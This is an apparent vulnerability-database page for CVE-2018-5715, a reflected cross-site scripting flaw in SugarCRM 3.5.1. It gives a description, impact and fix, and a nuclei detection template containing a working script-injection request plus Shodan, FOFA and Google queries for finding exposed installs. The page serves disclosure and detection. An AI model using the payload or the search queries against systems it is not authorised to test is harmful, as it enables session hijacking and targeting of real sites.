HexBrain

Browse / CVEs / CVE-2018-5715

CVE-2018-5715· sugarcrm / sugarcrm· CWE-79

SugarCRM 3.5.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6.9%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

SugarCRM 3.5.1 is vulnerable to cross-site scripting via phprint.php and a parameter name in the query string (aka a $key variable).

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of SugarCRM or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
Positive when: contains "&\"/><script>alert(1)</script>=&\"><< Back</a><br><br>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-5715 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-5715

info:
  name: SugarCRM 3.5.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: SugarCRM 3.5.1 is vulnerable to cross-site scripting via phprint.php and a parameter name in the query string (aka a $key variable).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of SugarCRM or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/43683
    - https://m4k4br0.github.io/sugarcrm-xss/
    - https://www.exploit-db.com/exploits/43683/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5715
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5715
    cwe-id: CWE-79
    epss-score: 0.06914
    epss-percentile: 0.94143
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:3.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"SugarCRM Inc. All Rights Reserved"
      - http.title:sugarcrm
      - http.html:"sugarcrm inc. all rights reserved"
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title=sugarcrm
    google-query:
      - intext:"SugarCRM Inc. All Rights Reserved"
      - intitle:sugarcrm
      - intext:"sugarcrm inc. all rights reserved"
  tags: cve2018,cve,sugarcrm,xss,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '&"/><script>alert(1)</script>=&"><< Back</a><br><br>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from